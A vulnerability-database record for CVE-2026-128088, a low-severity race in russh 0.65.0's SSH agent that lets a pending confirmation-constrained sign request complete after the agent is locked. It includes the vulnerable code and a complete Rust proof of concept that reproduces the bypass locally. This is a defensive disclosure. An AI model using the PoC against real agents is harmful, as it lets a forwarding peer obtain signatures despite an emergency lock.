{"id":"CVE-2026-128088","kind":"vulnerability","aliases":["CVE-2026-128088","GHSA-736f-c93q-9fwx"],"related":[],"title":"russh try_sign: asynchronous confirmation can sign after agent lock","description":"### Summary\n\nIn russh `0.65.0`, a sign request for a confirmation-constrained key can retain\nand use the private key after another connection locks the agent. `try_sign()`\nsnapshots an `Arc<PrivateKey>` before awaiting `Agent::confirm()` and does not\nrevalidate the shared lock state after the await. An agent-forwarding peer can\ntherefore obtain a signature while the agent is locked and every new request is\nbeing rejected.\n\n### Details\n\nThe agent's lock and key stores are shared by all connections. `respond()` reads\nthe lock state once, then dispatches a sign request:\n\n```rust\nlet is_locked = {\n    // ... read the shared lock ...\n};\n\n// ...\nSome((&13, mut r))\n    if !is_locked && agentref.confirm_request(MessageType::Sign).await =>\n{\n    let agent = self.agent.take().ok_or(Error::AgentFailure)?;\n    let (agent, signed) = self.try_sign(agent, &mut r, writebuf).await?;\n```\n\nIn `try_sign()`, russh clones the private key from the shared store and drops the\nstore lock before awaiting the asynchronous confirmation callback:\n\n```rust\nlet key = {\n    let blob = Bytes::decode(r)?;\n    let k = self.keys.0.read().or(Err(Error::AgentFailure))?;\n    if let Some((key, _, constraints)) = k.get(&blob.to_vec()) {\n        if constraints.contains(&Constraint::Confirm) {\n            needs_confirm = true;\n        }\n        key.clone()\n    } else {\n        return Ok((agent, false));\n    }\n};\n\nlet agent = if needs_confirm {\n    let (agent, ok) = agent.confirm(key.clone()).await;\n    if !ok {\n        return Ok((agent, false));\n    }\n    agent\n} else {\n    agent\n};\n\n// No lock/key-state revalidation occurs here.\nsign_with_hash_alg(&PrivateKeyWithHashAlg::new(key, hash_alg), &data)?\n    .encode(writebuf)?;\n```\n\nWhile `confirm()` is pending, a second agent connection can successfully lock\nthe shared agent. When confirmation later returns `true`, the original\nconnection signs with its captured `Arc<PrivateKey>`.\n\nThe affected code is in\n[`russh/src/keys/agent/server.rs`](https://github.com/Eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#L128-L162)\nand\n[`try_sign()`](https://github.com/Eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#L330-L375).\n\nRFC 9987 section 5.7 requires a locked agent to suspend private-key signature\noperations until it is unlocked. A fresh request is correctly rejected while\nlocked; only the request suspended across the await bypasses the lock.\n\nThe vulnerable asynchronous call was introduced by commit `62db6e7` as the fix\nfor GHSA-vp5q-ff62-jwqv. The behavior is present in released version `0.65.0`\nand current commit `183a22e8f8f490fa09b6eb7bd044ef99d8c4414f`.\n\n### Expected behavior\n\nAfter the agent reports a successful lock, no private-key signature operation\nshould complete until a successful unlock.\n\n### Actual behavior\n\nA request that reached `Agent::confirm()` before the state transition signs\nafterward. New requests made in the same locked or expired state fail, confirming\nthat the shared state transition took effect.\n\n### Proof of concept\n\nThe PoC is self-contained and uses in-memory duplex streams; it does not require\nan SSH server, Unix socket, or attached binary file. With a current stable Rust\ntoolchain installed, create a new directory:\n\n```sh\nmkdir -p russh-agent-lock-toctou-poc/src\ncd russh-agent-lock-toctou-poc\n```\n\nCreate `Cargo.toml`:\n\n```toml\n[package]\nname = \"russh-agent-lock-toctou-poc\"\nversion = \"0.1.0\"\nedition = \"2024\"\n\n[dependencies]\nfutures = \"0.3\"\nrand = { version = \"0.10\", features = [\"thread_rng\"] }\nrussh = \"=0.65.0\"\ntokio = { version = \"1\", features = [\"macros\", \"rt-multi-thread\", \"sync\"] }\ntokio-stream = \"0.1\"\n```\n\nCreate `src/main.rs`:\n\n```rust\nuse std::{future::Future, sync::Arc};\n\nuse russh::keys::agent::{\n    Constraint,\n    client::AgentClient,\n    server::{self, Agent},\n};\nuse russh::keys::{Algorithm, PrivateKey};\nuse tokio::{\n    io::DuplexStream,\n    sync::{Notify, mpsc},\n};\nuse tokio_stream::wrappers::ReceiverStream;\n\n#[derive(Clone)]\nstruct DelayedConfirm {\n    entered: Arc<Notify>,\n    release: Arc<Notify>,\n}\n\nimpl Agent for DelayedConfirm {\n    fn confirm(\n        self,\n        _key: Arc<PrivateKey>,\n    ) -> Box<dyn Future<Output = (Self, bool)> + Unpin + Send> {\n        Box::new(Box::pin(async move {\n            self.entered.notify_one();\n            self.release.notified().await;\n            (self, true)\n        }))\n    }\n}\n\nasync fn connect(\n    sender: &mpsc::Sender<std::io::Result<DuplexStream>>,\n) -> AgentClient<DuplexStream> {\n    let (server_stream, client_stream) = tokio::io::duplex(1024 * 1024);\n    sender.send(Ok(server_stream)).await.unwrap();\n    AgentClient::connect(client_stream)\n}\n\n#[tokio::main]\nasync fn main() {\n    let entered = Arc::new(Notify::new());\n    let release = Arc::new(Notify::new());\n    let agent = DelayedConfirm {\n        entered: entered.clone(),\n        release: release.clone(),\n    };\n\n    let (sender, receiver) = mpsc::channel(4);\n    tokio::spawn(async move {\n        server::serve::<DuplexStream, _, _>(ReceiverStream::new(receiver), agent)\n            .await\n            .unwrap();\n    });\n\n    let key = PrivateKey::random(&mut rand::rng(), Algorithm::Ed25519).unwrap();\n    let public_key = key.public_key().clone();\n\n    let mut administrator = connect(&sender).await;\n    administrator\n        .add_identity(&key, &[Constraint::Confirm])\n        .await\n        .unwrap();\n\n    let mut attacker = connect(&sender).await;\n    let attacker_key = public_key.clone();\n    let pending_sign = tokio::spawn(async move {\n        attacker\n            .sign_request_signature(&attacker_key, None, b\"attacker-controlled request\")\n            .await\n    });\n\n    entered.notified().await;\n    administrator.lock(b\"lock-password\").await.unwrap();\n    println!(\"agent locked while confirmation was pending\");\n\n    // Control: a request started after the lock is rejected.\n    let mut control = connect(&sender).await;\n    let control_result = control\n        .sign_request_signature(&public_key, None, b\"post-lock request\")\n        .await;\n    println!(\"new post-lock request accepted: {}\", control_result.is_ok());\n\n    // The original request signs after the lock has taken effect.\n    release.notify_one();\n    let pending_result = pending_sign.await.unwrap();\n    println!(\n        \"pre-lock request signed after lock: {}\",\n        pending_result.is_ok()\n    );\n\n    assert!(control_result.is_err());\n    assert!(pending_result.is_ok());\n}\n```\n\nRun:\n\n```sh\ncargo run --quiet\n```\n\nObserved on russh `0.65.0` with Rust `1.91.0`:\n\n```text\nagent locked while confirmation was pending\nnew post-lock request accepted: false\npre-lock request signed after lock: true\n```\n\n### Impact\n\nrussh-based SSH agents that implement asynchronous confirmation are affected,\nincluding agents exposed to remote SSH servers through agent forwarding. A peer\ncan begin a signature request while the agent is unlocked and hold it in the\nconfirmation phase. If the agent is subsequently locked, approving or otherwise\ncompleting the stale confirmation still gives the peer a signature that the\nagent's current state rejects for every new request.\n\nThis weakens emergency locking. The attacker does not recover private key\nmaterial, and exploitation requires a sign request to be pending across the\nstate transition and its confirmation callback eventually to return `true`.\n\n## Related\n\n- [RFC 9987 section 5.7: Locking and Unlocking an Agent](https://www.rfc-editor.org/rfc/rfc9987.html#section-5.7)\n- [GHSA-vp5q-ff62-jwqv / CVE-2026-116794: missing confirmation enforcement](https://github.com/advisories/GHSA-vp5q-ff62-jwqv)\n- [Commit `62db6e7`: call `Agent::confirm`](https://github.com/Eugeny/russh/commit/62db6e7defd6d244159da962ccccb029e785ce0f)\n- [Affected `respond()` implementation at `v0.65.0`](https://github.com/Eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#L128-L162)\n- [Affected `try_sign()` implementation at `v0.65.0`](https://github.com/Eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#L330-L375)","summary":"In russh 0.65.0, a sign request waiting on a confirmation prompt keeps its private key and completes after another connection locks the agent. An agent-forwarding peer can get one signature while the agent is locked, but cannot recover the private key material.","severity":"low","cvss":2.2,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"russh","fixed":["0.65.1"],"affected":"= 0.65.0","ecosystem":"cargo"}],"ecosystems":["cargo"],"tags":["agent-forwarding","cwe-367","cwe-863","package","russh","rust","ssh-agent"],"not_affected_if":["client-only","managed-hosting","no-confirm-constraint"],"how_to_check":"- Check the russh version in `Cargo.lock` for `russh` at `0.65.0`\n- Look for an SSH agent built on russh that uses asynchronous `Agent::confirm` and accepts agent forwarding","fix":"- `russh` `0.65.1`","status":"open","published_at":"2026-11-13T19:10:46+00:00","first_seen_at":"2026-11-13T19:13:31+00:00","triaged_at":"2026-11-13T19:14:31+00:00","updated_at":"2026-11-13T19:14:31+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-13T19:14:31Z","model":"claude-haiku-5-5","output":{"fix":"- `russh` `0.65.1`","reach":"network","title":"russh: SSH agent can sign with a key after it is locked","impact":"low","summary":"In russh 0.65.0, a sign request waiting on a confirmation prompt keeps its private key and completes after another connection locks the agent. An agent-forwarding peer can get one signature while the agent is locked, but cannot recover the private key material.","audience":"developers","category":"package","nicknames":[],"who_cares":["russh","rust","ssh-agent","agent-forwarding"],"confidence":0.8,"fix_status":"available","needs_auth":"no","worst_case":"A forwarding peer obtains a signature after the agent is locked","analyst_note":"","how_to_check":"- Check the russh version in `Cargo.lock` for `russh` at `0.65.0`\n- Look for an SSH agent built on russh that uses asynchronous `Agent::confirm` and accepts agent forwarding","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["client-only","no-confirm-constraint","managed-hosting"],"who_is_affected":"Applications built on russh 0.65.0 that implement an agent with asynchronous confirmation (the `Agent::confirm` callback) and are reachable by an SSH peer through agent forwarding. Applications that use russh only as a client, or whose agent does not use asynchronous confirmation, are not shown to be affected by the sources.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"yes","severity_if_unknown":"low"},"cost_usd":0.001054,"input_tokens":7897,"output_tokens":528,"severity_before":"low"},"analyst_status":null,"analyst_note":null,"search":"'-128088':13A,21A '-2026':12A,20A '-367':27B '-863':29B '/eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#l128-l162)':340C '/eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#l330-l375).':346C '/src':517C '0.1':564C '0.1.0':537C '0.10':545C '0.3':542C '0.65.0':38B,83C,409C,550C '1':553C '13':181C '183a22e8f8f490fa09b6eb7bd044ef99d8c4414f':413C '2024':539C '5.7':350C '62db6e7':392C '736f':16A '9987':348C '9fwx':18A 'across':378C 'actual':435C 'affect':333C 'afterward':448C 'agent':9A,24B,35B,58B,61B,70B,105C,113C,128C,138C,150C,193C,200C,204C,266C,269C,274C,283C,285C,287C,311C,318C,354C,418C,441C,513C,521C,532C,577C,583C 'agent-forward':23B,60B,127C 'agent.confirm':276C 'agentcli':580C 'agentfailur':198C,246C 'agentref.confirm':187C 'alg':296C,301C 'algorithm':587C 'anoth':54B,101C 'arc':110C,331C,573C 'asynchron':4A,229C,386C 'attach':494C 'await':112C,125C,191C,208C,227C,278C,380C 'behavior':403C,415C,436C 'binari':495C 'blob':236C 'blob.to':253C 'bypass':381C 'byte':237C 'c93q':17A 'call':387C 'callback':231C 'cannot':74B 'captur':330C 'cargo.toml':526C 'cd':518C 'client':579C 'clone':213C 'code':334C 'commit':391C,412C 'complet':52B,430C 'concept':470C 'confirm':5A,45B,90C,114C,230C,258C,260C,272C,306C,320C,442C,460C 'confirmation-constrain':89C 'connect':55B,102C,160C,312C,326C 'constrain':91C 'constraint':251C,257C,578C 'constraints.contains':256C 'contain':476C 'correct':370C 'creat':504C,525C,565C 'current':411C,499C 'cve':11A,19A 'cwe':26B,28B 'data':302C 'decod':238C 'depend':540C 'detail':148C 'directori':507C 'dispatch':168C 'drop':222C 'duplex':482C 'duplexstream':592C 'edit':538C 'effect':467C 'els':263C,286C 'encod':303C 'err':244C 'error':197C,245C 'everi':142C 'expect':414C 'expir':457C 'fail':459C 'fals':267C,284C 'featur':546C,554C 'ff62':400C 'file':496C 'fix':395C 'forward':25B,62B,129C 'fresh':367C 'futur':541C,570C,571C 'get':65B 'ghsa':15A,398C 'ghsa-736f-c93q-9fwx':14A 'ghsa-vp5q-ff62-jwqv':397C 'github.com':339C,345C 'github.com/eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#l128-l162)':338C 'github.com/eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#l330-l375).':344C 'hash':295C,300C 'in-memori':479C 'instal':503C 'introduc':389C 'io':591C 'jwqv':401C 'k':241C 'k.get':252C 'keep':47B 'key':50B,78B,92C,99C,154C,216C,234C,250C,299C,359C,426C,576C,586C 'key.clone':262C,277C 'later':321C 'let':173C,192C,199C,233C,235C,240C,248C,268C,273C 'lock':10A,56B,72B,103C,121C,140C,152C,164C,175C,179C,186C,225C,315C,353C,373C,383C,422C,455C,514C,522C,533C 'lock/key-state':289C 'macro':555C 'made':451C 'materi':79B 'memori':481C 'messagetyp':189C 'mkdir':509C 'mpsc':595C 'multi':558C 'mut':182C,205C 'name':529C 'need':259C,271C 'new':143C,298C,449C,506C 'notifi':594C 'obtain':133C 'occur':291C 'ok':195C,265C,275C,280C,282C 'one':66B 'oper':361C,428C 'origin':325C 'p':510C 'packag':30B,528C 'peer':63B,130C 'pend':308C 'poc':472C,516C,524C,535C 'present':405C 'privat':49B,77B,98C,215C,358C,425C 'private-key':357C,424C 'privatekey':588C 'privatekeywithhashalg':297C 'prompt':46B 'proof':468C 'r':183C,206C,239C 'rand':543C 'reach':440C 'read':162C,176C 'receiverstr':600C 'recov':75B 'reject':147C,371C 'releas':407C 'report':419C 'request':41B,86C,144C,171C,188C,368C,376C,438C,450C 'requir':351C,487C 'respond':161C 'retain':94C 'return':264C,281C,322C 'revalid':118C,290C 'rfc':347C 'rng':548C 'rt':557C 'rt-multi-thread':556C 'russh':1A,22A,31B,37B,82C,212C,512C,520C,531C,549C,575C,585C 'russh-agent-lock-toctou-poc':511C,519C,530C 'russh/src/keys/agent/server.rs':337C 'rust':32B,172C,232C,501C,567C 'second':310C 'section':349C 'self':475C,582C 'self-contain':474C 'self.agent.take':194C 'self.keys.0.read':242C 'self.try':202C 'server':490C,581C 'sh':508C 'share':120C,157C,178C,219C,317C,463C 'sign':3A,7A,40B,85C,107C,170C,190C,201C,203C,211C,293C,327C,343C,447C 'signatur':67B,135C,360C,427C 'snapshot':108C 'socket':492C 'src/main.rs':566C 'ssh':34B,489C 'ssh-agent':33B 'stabl':500C 'state':122C,165C,445C,458C,464C 'std':569C 'store':155C,220C,224C 'stream':483C,563C,598C 'success':314C,421C,433C 'summari':80C 'suspend':356C,377C 'sync':560C,572C,593C 'therefor':132C 'thread':547C,559C 'toctou':515C,523C,534C 'tokio':551C,562C,590C,597C 'tokio-stream':561C 'toml':527C 'took':466C 'toolchain':502C 'transit':446C,465C 'tri':2A,106C,210C,342C 'true':261C,323C 'unix':491C 'unlock':365C,434C 'use':96C,478C,568C,574C,584C,589C,596C 'vec':254C 'version':408C,536C,544C,552C 'vp5q':399C 'vulner':385C 'wait':42B 'wrapper':599C 'writebuf':207C,304C","nicknames":[],"mitigations":[],"who_affected":"Applications built on russh 0.65.0 that implement an agent with asynchronous confirmation (the `Agent::confirm` callback) and are reachable by an SSH peer through agent forwarding. Applications that use russh only as a client, or whose agent does not use asynchronous confirmation, are not shown to be affected by the sources.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["russh"],"ptokens":["russh"],"labels":["agentforwarding","cargo","cwe367","cwe863","low","package","russh","rust","sshagent"],"campaign_type":null,"search_a":"'-128088':13A,21A '-2026':12A,20A '736f':16A '9fwx':18A 'agent':9A 'asynchron':4A 'c93q':17A 'confirm':5A 'cve':11A,19A 'ghsa':15A 'ghsa-736f-c93q-9fwx':14A 'lock':10A 'russh':1A,22A 'sign':3A,7A 'tri':2A","search_b":"'-367':27B '-863':29B '0.65.0':38B 'agent':24B,35B,58B,61B,70B 'agent-forward':23B,60B 'anoth':54B 'cannot':74B 'complet':52B 'confirm':45B 'connect':55B 'cwe':26B,28B 'forward':25B,62B 'get':65B 'keep':47B 'key':50B,78B 'lock':56B,72B 'materi':79B 'one':66B 'packag':30B 'peer':63B 'privat':49B,77B 'prompt':46B 'recov':75B 'request':41B 'russh':31B,37B 'rust':32B 'sign':40B 'signatur':67B 'ssh':34B 'ssh-agent':33B 'wait':42B","search_c":"'/eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#l128-l162)':340C '/eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#l330-l375).':346C '/src':517C '0.1':564C '0.1.0':537C '0.10':545C '0.3':542C '0.65.0':83C,409C,550C '1':553C '13':181C '183a22e8f8f490fa09b6eb7bd044ef99d8c4414f':413C '2024':539C '5.7':350C '62db6e7':392C '9987':348C 'across':378C 'actual':435C 'affect':333C 'afterward':448C 'agent':105C,113C,128C,138C,150C,193C,200C,204C,266C,269C,274C,283C,285C,287C,311C,318C,354C,418C,441C,513C,521C,532C,577C,583C 'agent-forward':127C 'agent.confirm':276C 'agentcli':580C 'agentfailur':198C,246C 'agentref.confirm':187C 'alg':296C,301C 'algorithm':587C 'anoth':101C 'arc':110C,331C,573C 'asynchron':229C,386C 'attach':494C 'await':112C,125C,191C,208C,227C,278C,380C 'behavior':403C,415C,436C 'binari':495C 'blob':236C 'blob.to':253C 'bypass':381C 'byte':237C 'call':387C 'callback':231C 'captur':330C 'cargo.toml':526C 'cd':518C 'client':579C 'clone':213C 'code':334C 'commit':391C,412C 'complet':430C 'concept':470C 'confirm':90C,114C,230C,258C,260C,272C,306C,320C,442C,460C 'confirmation-constrain':89C 'connect':102C,160C,312C,326C 'constrain':91C 'constraint':251C,257C,578C 'constraints.contains':256C 'contain':476C 'correct':370C 'creat':504C,525C,565C 'current':411C,499C 'data':302C 'decod':238C 'depend':540C 'detail':148C 'directori':507C 'dispatch':168C 'drop':222C 'duplex':482C 'duplexstream':592C 'edit':538C 'effect':467C 'els':263C,286C 'encod':303C 'err':244C 'error':197C,245C 'everi':142C 'expect':414C 'expir':457C 'fail':459C 'fals':267C,284C 'featur':546C,554C 'ff62':400C 'file':496C 'fix':395C 'forward':129C 'fresh':367C 'futur':541C,570C,571C 'ghsa':398C 'ghsa-vp5q-ff62-jwqv':397C 'github.com':339C,345C 'github.com/eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#l128-l162)':338C 'github.com/eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#l330-l375).':344C 'hash':295C,300C 'in-memori':479C 'instal':503C 'introduc':389C 'io':591C 'jwqv':401C 'k':241C 'k.get':252C 'key':92C,99C,154C,216C,234C,250C,299C,359C,426C,576C,586C 'key.clone':262C,277C 'later':321C 'let':173C,192C,199C,233C,235C,240C,248C,268C,273C 'lock':103C,121C,140C,152C,164C,175C,179C,186C,225C,315C,353C,373C,383C,422C,455C,514C,522C,533C 'lock/key-state':289C 'macro':555C 'made':451C 'memori':481C 'messagetyp':189C 'mkdir':509C 'mpsc':595C 'multi':558C 'mut':182C,205C 'name':529C 'need':259C,271C 'new':143C,298C,449C,506C 'notifi':594C 'obtain':133C 'occur':291C 'ok':195C,265C,275C,280C,282C 'oper':361C,428C 'origin':325C 'p':510C 'packag':528C 'peer':130C 'pend':308C 'poc':472C,516C,524C,535C 'present':405C 'privat':98C,215C,358C,425C 'private-key':357C,424C 'privatekey':588C 'privatekeywithhashalg':297C 'proof':468C 'r':183C,206C,239C 'rand':543C 'reach':440C 'read':162C,176C 'receiverstr':600C 'reject':147C,371C 'releas':407C 'report':419C 'request':86C,144C,171C,188C,368C,376C,438C,450C 'requir':351C,487C 'respond':161C 'retain':94C 'return':264C,281C,322C 'revalid':118C,290C 'rfc':347C 'rng':548C 'rt':557C 'rt-multi-thread':556C 'russh':82C,212C,512C,520C,531C,549C,575C,585C 'russh-agent-lock-toctou-poc':511C,519C,530C 'russh/src/keys/agent/server.rs':337C 'rust':172C,232C,501C,567C 'second':310C 'section':349C 'self':475C,582C 'self-contain':474C 'self.agent.take':194C 'self.keys.0.read':242C 'self.try':202C 'server':490C,581C 'sh':508C 'share':120C,157C,178C,219C,317C,463C 'sign':85C,107C,170C,190C,201C,203C,211C,293C,327C,343C,447C 'signatur':135C,360C,427C 'snapshot':108C 'socket':492C 'src/main.rs':566C 'ssh':489C 'stabl':500C 'state':122C,165C,445C,458C,464C 'std':569C 'store':155C,220C,224C 'stream':483C,563C,598C 'success':314C,421C,433C 'summari':80C 'suspend':356C,377C 'sync':560C,572C,593C 'therefor':132C 'thread':547C,559C 'toctou':515C,523C,534C 'tokio':551C,562C,590C,597C 'tokio-stream':561C 'toml':527C 'took':466C 'toolchain':502C 'transit':446C,465C 'tri':106C,210C,342C 'true':261C,323C 'unix':491C 'unlock':365C,434C 'use':96C,478C,568C,574C,584C,589C,596C 'vec':254C 'version':408C,536C,544C,552C 'vp5q':399C 'vulner':385C 'wrapper':599C 'writebuf':207C,304C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-11-03T16:38:04+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-736f-c93q-9fwx","url":"https://github.com/advisories/GHSA-736f-c93q-9fwx","severity":"low","published_at":"2026-11-13T19:10:46+00:00","modified_at":"2026-11-13T19:10:47+00:00","first_seen_at":"2026-11-13T19:13:31+00:00","fetched_at":"2026-11-13T19:23:55+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-128088","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128088","severity":null,"published_at":"2026-11-13T19:19:31+00:00","modified_at":"2026-11-13T19:19:31+00:00","first_seen_at":"2026-11-13T19:52:09+00:00","fetched_at":"2026-11-13T19:52:10+00:00","note":null}],"documents":[{"id":148741,"url":"https://api.github.com/repos/Eugeny/russh/security-advisories/GHSA-736f-c93q-9fwx","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":148742,"url":"https://github.com/Eugeny/russh/security/advisories/GHSA-736f-c93q-9fwx","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-11-03T16:38:04+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":148743,"url":"https://github.com/Eugeny/russh/pull/808","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":148744,"url":"https://github.com/Eugeny/russh/commit/43a46d67a80a7355fcd2fb25e7e00d79aec8184c","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":148745,"url":"https://github.com/Eugeny/russh/releases/tag/v0.65.1","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"disclosures":[],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}